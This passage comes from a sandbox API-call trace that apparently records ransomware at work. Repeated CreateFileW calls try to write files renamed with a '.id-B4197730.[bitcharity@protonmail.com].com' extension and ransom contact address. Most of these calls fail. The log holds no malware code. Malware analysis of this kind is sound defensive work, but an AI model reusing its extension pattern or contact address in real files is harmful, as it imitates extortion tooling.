files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.545] CloseHandle (hObject=0x11c0) returned 1 [0277.549] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.549] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.549] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.549] CloseHandle (hObject=0x11c0) returned 1 [0277.550] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.550] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.550] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.551] CloseHandle (hObject=0x11c0) returned 1 [0277.552] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.552] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.552] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.552] CloseHandle (hObject=0x11c0) returned 1 [0277.558] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.558] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.558] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.558] CloseHandle (hObject=0x11c0) returned 1 [0277.562] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.562] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.562] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.562] CloseHandle (hObject=0x11c0) returned 1 [0277.563] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.563] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.563] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.563] CloseHandle (hObject=0x11c0) returned 1 [0277.564] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.564] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.564] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.565] CloseHandle (hObject=0x11c0) returned 1 [0277.566] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.566] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.566] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.566] CloseHandle (hObject=0x11c0) returned 1 [0277.569] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.569] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.569] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.569] CloseHandle (hObject=0x11c0) returned 1 [0277.570] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.570] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.570] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.570] CloseHandle (hObject=0x11c0) returned 1 [0277.571] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.571] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.571] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.572] CloseHandle (hObject=0x11c0) returned 1 [0277.572] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.572] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.572] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.573] CloseHandle (hObject=0x11c0) returned 1 [0277.576] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.576] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.576] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.577] CloseHandle (hObject=0x11c0) returned 1 [0277.577] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.578] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.578] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.578] CloseHandle (hObject=0x11c0) returned 1 [0277.579] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.579] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.579] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.579] CloseHandle (hObject=0x11c0) returned 1 [0277.580] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.580] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.580] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.580] CloseHandle (hObject=0x11c0) returned 1 [0277.584] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.584] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.584] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.584] CloseHandle (hObject=0x11c0) returned 1 [0277.585] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.585] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.585] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.585] CloseHandle (hObject=0x11c0) returned 1 [0277.586] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.586] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.586] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.586] CloseHandle (hObject=0x11c0) returned 1 [0278.023] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.023] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.023] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.023] CloseHandle (hObject=0x11c4) returned 1 [0278.024] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.024] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.024] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.025] CloseHandle (hObject=0x11c4) returned 1 [0278.026] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.027] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.027] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.027] CloseHandle (hObject=0x11c4) returned 1 [0278.029] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.029] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.029] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.029] CloseHandle (hObject=0x11c4) returned 1 [0278.033] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.033] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.033] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.033] CloseHandle (hObject=0x11c4) returned 1 [0278.034] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.034] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.034] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.035] CloseHandle (hObject=0x11c4) returned 1 [0278.036] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.036] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.036] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.036] CloseHandle (hObject=0x11c4) returned 1 [0278.037] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.037] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.037] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.037] CloseHandle (hObject=0x11c4) returned 1 [0278.040] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.040] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.040] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 